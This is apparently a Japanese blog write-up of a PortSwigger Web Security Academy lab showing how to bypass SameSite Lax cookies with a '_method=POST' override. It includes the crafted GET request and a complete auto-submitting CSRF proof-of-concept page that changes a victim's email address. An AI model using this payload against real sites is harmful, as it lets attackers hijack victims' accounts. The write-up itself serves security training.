Shikata Ga Nai

Private? There is no such things.

SameSite Lax bypass via method overrideをやってみた

Hello there, ('ω')ノ

 

SameSite Laxをメソッドオーバーライドすることによるバイパスを。

 

「メールアドレス変更」機能には、CSRFの脆弱性があり。

ラボを解決するには、提供された攻撃用サーバを使用して、

被害者のメールアドレスを変更するCSRF攻撃を実行して。

以下の資格情報を使用して、自分自身のアカウントにログインできて。

 wiener/peter

 

ログインして。

 

 

メールアドレスを変更して。

 test@mail.com

 

 

リクエストを確認するとユーザを識別しているのはCookieくらいで。

 

 

ログイン時のCookieの設定では、特にSameSite の制限が明示的に

指定されていないので、ブラウザはデフォルトの Lax 制限レベルを使用して。

 

Lax

SameSiteのLax制限は、ブラウザがクロスサイトのリクエストでクッキーを

送信するようになり、次の2つの条件が両方満たされている場合に限って。


 リクエストがGETメソッドを使用していること。

 リクエストが、ユーザによるトップレベルのナビゲーション

 (リンクをクリックするなど)によって結果として生成されたこと。

 

 

リクエストをリピータへ。

 

 

メソッドをGETへ変更してみると許可されず。

 

 

メソッドパラメータを追加してオーバーライドしてみると、うまくいくようで。

 GET /my-account/change-email?email=test%40mail.com&_method=POST 

 

 

このリクエストを発行するPoCを。

 

 

「Body」セクションで、HTML/JavaScriptのペイロードを作成して、

被害者のブラウザが悪意のあるGETリクエストを発行するようにして。

セッションクッキーを含めるために、トップレベルのナビゲーションを

引き起こす必要があって。

メールアドレスが重複しないように別のもの(攻撃者のもの)へ変更して。

 

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a5100a603a25754825965ee004c00b3.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="test0&#64;mail&#46;com" />
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

 

 

エクスプロイトサーバへ保存し、被害者にエクスプロイトを配信すると。

 

 

クリアできて。

 

 

Best regards, (^^ゞ